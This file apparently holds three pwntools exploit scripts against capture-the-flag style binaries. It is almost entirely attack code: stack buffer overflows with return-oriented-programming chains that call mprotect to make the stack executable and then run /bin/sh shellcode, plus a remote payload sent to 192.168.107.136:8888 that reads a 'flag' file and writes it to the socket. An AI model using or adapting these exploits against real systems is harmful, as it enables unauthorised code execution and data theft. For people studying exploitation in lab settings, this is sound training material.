#!/usr/bin/env python
from pwn import *


"""
mprotect: 
eax = 0x7d
ebx = address
ecx = size
edx = 0x7 (rwx)
"""

buf = ""
buf += "A"*44

# value to & stack address in ecx with
buf += p32(0x0806b893)  # pop eax; ret
buf += p32(0xfffff000)  # & stack address in ecx with ~0xfff

# eax now contains a stack address to mprotect
buf += p32(0x080841a1)  # and eax, ecx; ret; 

# need to have a valid value for ebp for the next gadget
buf += p32(0x08048550)  # pop ebp; ret
buf += p32(0xa9b0bb9b)  # pop into ebp so or [ebp+0x5e5bf465] is valid

# exchange eax and ebx. ebx now contains stack address. 
buf += p32(0x08083665)  # xchg eax, ebx; or byte ptr [ebp + 0x5e5bf465], cl; pop edi; pop ebp; ret; 
buf += "JUNK"
buf += "JUNK"

# size to mprotect goes into eax
buf += p32(0x0806b893)  # pop eax; ret
buf += p32(0x21000)

# exchange eax with ecx, so ecx now contains size to mprotect
buf += p32(0x08048105)  # xchg eax, ecx; ret; 

# set eax to sys_mprotect 0x7d
buf += p32(0x0806b893)  # pop eax; ret
buf += p32(0x7d)

# set edx to rwx permissions
buf += p32(0x080525c6) # pop edx; ret; 
buf += p32(0x7)

buf += p32(0x08052cf0)  # int 0x80; ret

# push esp which points to our shellcode and return to it
buf += p32(0x08055311)  # push esp; ret

buf += asm(shellcraft.linux.sh())

f = open("in.txt", "w")
f.write(buf)
f.close()

#!/usr/bin/env python
from pwn import *

r = remote("192.168.107.136", 8888)

filesize = 300
filename = "whatmeworry"

buf = ""
buf += "A"*312 + "B"*52

# call open() on "flag". this returns fd 3
buf += p32(0x80486d0)       # open()
buf += p32(0x8048ef7)       # pop2ret
buf += p32(0x8049128)       # "flag"
buf += p32(0)               # O_RDONLY

# read 123 bytes from fd 3 to a known buffer
buf += p32(0x8048640)       # read()
buf += p32(0x8048ef6)       # pop3ret
buf += p32(3)               # fd
buf += p32(0x804b008)       # buf
buf += p32(123)             # size

# sockfd is 4 based on previous calls to write(). 
# write contents of buffer with the flag to sockfd
buf += p32(0x8048700)       # write()
buf += p32(4)               # write syscall
buf += p32(4)               # sockfd
buf += p32(0x804b008)       # buf
buf += p32(123)             # size

print r.recvuntil(">")
log.info("sending: store")
r.sendline("store")

print r.recvuntil(">")
log.info("sending: " + str(filesize))
r.sendline(str(filesize))

print r.recvuntil(">")
log.info("sending: " + buf)
r.sendline(buf)

print r.recvuntil(">")
log.info("sending: " + filename)
r.sendline(filename)

print r.recvall()

#!/usr/bin/env python
from pwn import *

# execve /bin/sh
shellcode = (
    "\x90\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68"
    "\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89"
    "\xe1\xb0\x0b\xcd\x80"
)

buf = ""
buf += "A"*40 
buf += p32(0xa9b0ab9b) # set ebp to a valid address when [ebp + 0x5e5bf465] is calculated later

# set eax to 0xfffff000
buf += p32(0x8083a30)   # pop eax; ret 0x80c
buf += p32(0xfeff7973)  
buf += p32(0x080831bc)  # add eax, 0x100768d; ret; 
buf += "z"*2060         # adjust for ret 0x80c

# set eax to stack address 
buf += p32(0x08083e81)  # and eax, ecx; ret; 

# move eax to ebx using xchg. ebp needs to return a valid address here
buf += p32(0x08083345)  # xchg eax, ebx; or byte ptr [ebp + 0x5e5bf465], cl; pop edi; pop ebp; ret; 
buf += "JUNK"           # pops into edi
buf += "JUNK"           # pops into ebp

# set edx to 7
buf += p32(0x08052476) # pop edx; ret; 
buf += p32(0xffffffff) # we'll increment this 8 times so it becomes 0x7
buf += p32(0x0808f4f4) # inc edx; add al, -0x37; ret; 
buf += p32(0x0808f4f4) # inc edx; add al, -0x37; ret; 
buf += p32(0x0808f4f4) # inc edx; add al, -0x37; ret; 
buf += p32(0x0808f4f4) # inc edx; add al, -0x37; ret; 
buf += p32(0x0808f4f4) # inc edx; add al, -0x37; ret; 
buf += p32(0x0808f4f4) # inc edx; add al, -0x37; ret; 
buf += p32(0x0808f4f4) # inc edx; add al, -0x37; ret; 
buf += p32(0x0808f4f4) # inc edx; add al, -0x37; ret; 

# set ecx
buf += p32(0x080658d7) # pop ecx; adc al, -0x77; ret; 
buf += p32(0x10101010) # size to mprotect

# set eax to 0x7d
buf += p32(0x0804b128) # xor eax, eax; pop ebp; ret; 
buf += "JUNK"          # pops into ebp
buf += p32(0x0806f5c5) # sub al, -0x7d; ret

buf += p32(0x08052ba0) # int 0x80
buf += p32(0x0804eea0) # execute shellcode: push esp; ret;
buf += shellcode

print buf